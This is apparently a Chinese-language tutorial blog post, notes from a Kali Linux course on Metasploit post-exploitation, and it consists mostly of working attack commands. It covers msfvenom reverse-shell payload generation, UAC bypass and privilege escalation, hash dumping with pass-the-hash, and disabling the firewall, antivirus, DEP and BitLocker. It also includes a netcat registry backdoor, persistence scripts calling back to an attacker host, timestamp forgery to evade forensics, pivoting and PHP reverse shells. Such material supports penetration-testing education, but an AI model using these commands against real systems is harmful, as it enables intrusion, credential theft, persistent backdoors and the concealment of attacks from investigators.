Kali Linux渗透测试——MSF实战篇(二)

笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程

文章目录

      • 一、基于已有session提权
      • 二、提权后进一步操作
          • 1.密码获取与登录
          • 2.关闭安全措施(在攻击目标系统shell下执行)
          • 3.开启远程桌面
          • 4.修改注册表,预置后门
          • 5.打开防火墙端口
          • 6.抓包
          • 7.搜索文件
          • 8.破解弱口令
          • 9.修改MAC时间
      • 三、真实复杂环境下渗透测试
          • 1.Pivoting跳板/枢纽/支点
          • 2.Post模块
          • 3.持久后门
          • 4.MSF扩展
          • 5.社会工程学
    • 常见模块功能(动态更新)

基于已经获得目标系统控制权后扩大攻击效果

  • 提权
  • 信息收集
  • 渗透内网
  • 永久后门

后渗透阶段可以做的大量工作,很大程度上取决于meterpreter/shell的强大功能

一、基于已有session提权

首先进入meterpreter/shell,诱使攻击目标访问构造程序后,即反弹shell

msfvenom -a x64 --platform windows -p windows/shell/reverse_tcp LHOST=10.10.11.151 LPORT=4444 -b "\x00" -e x86/shikata -i 9 -f exe -o 1.exe

拿到metepreter shell后提权
注意:用msfvenom构造的windows/meterpreter/reverse_shell默认是x86架构,windows/x64/meterpreter/reverse_shell是x64架构

load priv
getsystem           

此时若显示Operation failed:Access is denied,则一般是因为UAC,接下来绕过UAC限制

UAC(User Account Control,用户帐户控制)是微软为提高系统安全而在Windows Vista之后的系统引入的新技术,它要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,提供权限

local目录中的模块主要针对已获取的session

#方法一:
use exploit/windows/local/ask       
set session
set filename
run                                 #UAC会询问是否接受未知程序,如果选择是,则通过UAC许可

#方法二:
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
set session
set payload
run
#随后在生成的shell中提权
getsystem
getuid               #可以看见提升为系统用户

只有管理用户组中的成员绕过UAC后才能提权,普通用户即便是绕过了UAC,一样无法提权到system,此时要利用漏洞直接提权为system。

use exploit/windows/local/ms13_053_schlamlperei
set payload/RHSOTS/session
run                                 #此时getuid可以看到直接就是system权限

use exploit/windows/local/ms13_081_track_popup_menu
set payload/RHSOTS/session
run

#也可以使用图形化payload,可以监视攻击目标的桌面(注意这个payload并不是所有模块都能使用,ms13_053_schlamlperei可以使用)
set payload windows/vncinject/reverse_tcp   
#如果要操作攻击者的桌面,要修改参数viewonly为no                         

VNC和远程桌面都能实现远程控制,不同的是:VNC使用RFB协议(C/S架构5900端口,B/S架构5800端口),远程桌面使用RDP协议(3389端口)

二、提权后进一步操作

1.密码获取与登录
#在具备系统权限的shell中运行hashdump模块
run post/windows/gather/hashdump           
#在得到哈希值后,可以用passthehash,根据哈希值直接登录用户
#passthehash在metasploit中也有专用模块
use exploit/windows/smb/psexec
set SMBUser
set SMBPass xxx:xxx(hash值)
set payload windows/meterpreter/reverse_tcp
run            #失败则可能是由于UAC(Command=17,woedCount=0)

#可以利用已经获取的session运行远程命令,关掉UAC
#关掉UAC的命令
cmd.exe /k %windir%\System32\reg.exe ADD
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFRWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
2.关闭安全措施(在攻击目标系统shell下执行)
#关闭防火墙,需要管理员或者system权限
netsh advfirewall set allprofiles state on/off

#关闭windedfend
net stop windefend 

#Bitlocker磁盘加密
manage-bde -off C:
manage-bde -status C: 

#关闭DEP
bcdedit.exe /set {current} nx AlwaysOff   

#meterpreter中杀死常见病毒软件
run killav
#其他方法
run post/windows/manage/killav

3.开启远程桌面
#开启远程桌面服务
run post/windows/manage/enable_rdp
#其他方法
run getgui -e

#查看远程桌面
screenshot        #meterpreter中的截屏命令
use/load espia    #meterpreter中use和load是一样的
screengrub        #espia插件中的截屏命令
4.修改注册表,预置后门

注册表保存了windows几乎全部配置参数,配置不当会导致系统崩溃,修改前要备份注册表,某些配置是不可逆的。常见用途包括:

  • 修改增加启动项
  • 窃取存储于注册表中的机密信息
  • 绕过文件型病毒查杀

用注册表添加NC后门服务(meterpreter),重启后始终有效

#在取得meterpreter shell基础上

#上传nc木马程序到目标主机
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32

#枚举当前注册表中键值
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

#增加键值,然后可以通过再次枚举键值确认配置是否修改成功
reg setval -k HKLM\\sofrware\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe'

#通过简单nc命令就能得到shell
nc 10.10.11.122 444
5.打开防火墙端口

在现有防火墙策略中增加一条策略,而不是完全关掉防火墙,这样隐蔽性更好

#在取得meterpreter shell基础上

execute -f cmd -i -H        #执行cmd,将其隐藏并与其交互
netsh firewall show opmode  #查看防火墙运行状态
netsh firewall add portopening TCP 444 "test" ENABLE ALL #增加策略(名字可以起的隐蔽些)

#然后必须重启策略才能执行
6.抓包
#在取得meterpreter shell基础上

load sniffer
sniffer_interfaces   #显示可选网卡
sniffer_start 2      #选择抓包网卡

#sniffer在内存缓存区循环存储抓包(50000包),不写硬盘,所以要及时将抓到的包dump出来
sniffer_dump 2 1.cap /sniffer_dump 2 1.cap

#sniffer模块可以智能过滤meterpreter流量,只抓目标主机的流量包,而且抓包传输全程使用SSL/TLS加密

抓包后可以用wireshark、burp等工具进行分析,也可以用psnuffle模块直接抓取密码

7.搜索文件
#在取得meterpreter shell基础上

search -f *.ini
search -d c:\\documents\ and\ settings\\administrator\\desktop\\ -f *.docx
8.破解弱口令
#首先要得到弱密码文档
use post/windows/gather/hashdump
run

#自动针对收集的hash值进行弱口令破解
use auxiliary/analyze/jtr_crack_fast
run
9.修改MAC时间

在渗透攻击时,文件系统访问会留下痕迹,电子取证重点关注,最好的避免被电子取证发现的方法:不要碰文件系统。而meterpreter的优势就在此,它完全基于内存,所以不会留下痕迹。

最直接的取证为MAC时间(Modified/Accessed/Changed),按照MAC时间很容易查找出新增加的非授权文件
注意:Modified指对文件内容做修改,Changed指对文件属性、权限做修改

ls -l --time=atime/ctime 1.txt   #ls -l默认显示的时间是mtime
stat 1.txt                       #一次性列出三个时间                   
touch -d "2 days ago" 1.txt      #修改atime和mtime
touch -t 1501010101   1.txt      #修改atime和mtime,格式为:“年月日时分”

关于MACE时间,其中的的E表示: MFT entry

MFT:NTFS文件系统的主文件分配表Master File Table,通常1024字节或2个硬盘扇区,在硬盘的头部,存放了多项entry信息,包含文件大量信息(大小、名称、目录位置、磁盘位置、创建时间)

#在取得meterpreter shell基础上

timestomp -v 1.txt        #显示MACE四个时间
timestomp -f c:\\autoexec.bat 1.txt   #以autoexec.bat为模板,将时间写入1.txt,同步MACE四个时间
timestomp -m/a/c/e/z "xx/xx/xx xx:xx:xx" 1.txt #修改指定时间  
timestomp  -b -r          #参数可将时间修改为空白或者随机

三、真实复杂环境下渗透测试

1.Pivoting跳板/枢纽/支点

实际的攻击场景通常如下,攻击者通过互联网,对远程攻击目标进行扫描,搜集可利用信息,然后锁定攻击目标(具有公网ip),穿越过攻击目标的防火墙,绕过安全软件,利用各种方法拿到攻击目标shell,最后渗透至内网其他主机,进行设防、预制木马。

Kali Linux渗透测试——MSF实战篇(二)_第1张图片

图1 渗透攻击场景

利用已经控制的一台计算机作为入侵内网的跳板,在内网其他主机看来访问全部来自于跳板机,从而达到攻击的隐蔽性。环境搭建:

  • 防火墙设置双网卡
  • NAT配置
  • 拿到meterpreter shell

然后进行内网渗透
(1)通过路由方式实现
设置自动路由

run autoroute -s 2.1.1.0/24         

#这样发往内网攻击目标的信息,都会通过已有session发到跳板机,然后再转发至内网;
#而内网主机上发往跳板机的信息,都会通过已有session发往攻击机外网IP

use auxiliary/scanner/portscan/tcp  #如果内网主机可以被扫描出,则说明路由有效

然后设置反弹meterpreter到攻击目标主机

#仍以ms08_067漏洞为例
set exploit/windows/smb/ms08_067_netapi
set RHOST 2.1.1.14     #攻击目标内网主机IP
set LHOST 2.1.1.10     #攻击目标网段跳板机IP
set payload windows/meterpreter/reverse_tcp
run

(2)通过端口转发方式实现
在已经建立meterpreter shell的基础上,利用已被控制的计算机,在kali与攻击目标之间实现端口转发

#在本机(LIP)的端口(LPORT)和攻击目标(RIP)端口(RPORT)之间建立一条隧道
portfwd add -L LIP -l LPORT -r RIP -p RPORT
portfwd add -L 1.1.1.10 -l 445 -r 2.1.1.14 -p 3389
portfwd list / delete / flush  #delete具体删除一条规则,flush是删除所有规则
2.Post模块

Post模块主要用作在已经控制攻击目标的前提下,进一步扩大攻击效果

方法一:
在已经取得meterpreter shell的基础上进行run,后跟参数配置

set exitonsession false   #当有目标连接攻击机开放的端口时,侦听的端口不会关闭

#扫描10.10.11.1/24网段的主机
run post/windows/gather/arp_scanner RHOSTS=10.10.11.1/24

#查看目标主机是否是虚拟机
run post/windows/gather/checkvm

#查看token
run post/windows/gather/credentials/credential_collertor

#查看攻击目标装的软件
run post/windows/gather/enum_applications

#查看目前登陆的用户
run post/windows/gather/enum_logger_on_users

#查看snmp配置
run post/windows/gather/enum_snmp

#基于meterpreter session,检测目标可能使用的提升权限的模块
run post/multi/recon/local_exploit_suggester

#删除账号
run post/windows/manage/delete_user USERNAME=yuanth

#了解当前系统环境变量信息
run post/multi/gather/env

#获取ssh登录的验证信息
run post/multi/gather/ssh_creds

方法二:
使用meterpreter的自动执行脚本
在advanced options中有autorunscript参数

#刚取得meterpreter立即迁移pid
set AutoRunScript migrate -N explorer.exe

#收集攻击目标最近下载的文档
set AutoRunScript run post/windows/gather/dumplinks

#AutoRunScript每次只能执行一句命令
#如果要运行两句指令则需要用到:InitialAutoRunScript模块
set InitialAutoRunScript migrate -N explorer.exe
set set AutoRunScript run post/windows/gather/dumplinks

#执行meterpreter脚本,更改域名解析
run hostedit -e 1.1.1.1 www.baidu.com

方法三:
进入post模块,set相应参数,然后run,用法同其他模块。

3.持久后门

利用漏洞取得的meterpreter shell运行于内存中,优势是不容易被发现,劣势是重启后失效,而且重复exploit漏洞可能造成服务崩溃因此拿到meterpreter shell后要尽快固定shell,使其变为持久性后门。

方法一:

run metsvc        #获取系统权限后,在目标主机上自动启动metsvc服务,默认端口为31337,在模块界面没法修改,只能在ruby文件中修改

use exploit/multi/handler
set PAYLOAD windows/metsvc_bind_tcp    
set LPORT 31337
set RHOST 1.1.1.1

注意bind和reverse的区别: bind_shell是在目标主机上运行的shell;reverse_shell是目标主机反弹的shell,运行在攻击机上

方法二:

run persistence -X -i 10 -p 4444 -r 1.1.1.1  #系统重启时反弹shell
run persistence -U -i 20 -p 4444 -r 1.1.1.1  #用户登录时反弹shell
run persistence -S -i 20 -p 4444 -r 1.1.1.1  #系统重启时以系统权限运行服务

set payload windows/meterpreter/reverse_tcp
set LPORT 4444
set exitonsession false
exploit -j -z

方法三:
植入木马,修改注册表,前述已讨论。

4.MSF扩展

(1)PHP shell(其他文件也可以编写)

msfvenom -p php/meterpreter/reverse_rcp LHOST=1.1.1.1 LPORT=3333 -f raw -o a.php

#msf启动侦听,将a.php上传至目标主机,然后访问a.php文件就会反弹shell

(2)RFI远程文件包含
为配置实验环境,首先要将攻击目标中php配置文件修改,

vim /etc/php5/cgi/php.ini      #将其中两项设置为On
allow_url_fopen = On
allow_url_include = On  

然后进行远程包含漏洞攻击

use exploit/unix/webapp/php_include
set RHOST 1.1.1.2
set PATH /dvwa/vulnerabilities/fi/
set PHPURI /?page=XXpathXX       #XXpathXX形式不变,php_include会将其设置为payload的地址
set HEADERS "Cookie:security=low;PHPSESSID=eeasdaefeasda3sd87f87"
set payload php/meterpreter/reverse_tcp
set lhost 1.1.1.1
exploit
5.社会工程学

通过人的交流,使用欺骗伪装等手段绕过安全机制实现入侵的非技术手段

(1)社会工程学攻击的四个阶段

  • 研究:信息收集(WEB、媒体、垃圾桶、物理),确定并研究目标人
  • 钩子:与目标建立第一次交谈(Hook、下套)
  • 下手:与目标建立信任并获取信息
  • 退场:不引起目标怀疑的离开攻击现场

(2)类型
基于人的社工

  • 伪造身份
  • 偷听、窃听
  • 反社工
  • 垃圾桶工程

基于计算机的社工

  • 弹出窗口
  • 内部网络攻击
  • 钓鱼邮件
  • 短信诈骗

(3)工具

  • SEToolKit集成化社工工具,大部分运行Metasploit功能

常见模块功能(动态更新)

msf功能实用强大且更新速度快,下面记录在实战学习中用到的一些模块的基本介绍:

1. windows/rdp/cve_2019_0708_bluekeep_rce           #利用bluekeep漏洞进行攻击(易导致目标主机蓝屏)

你可能感兴趣的:(Kali,Linux渗透测试)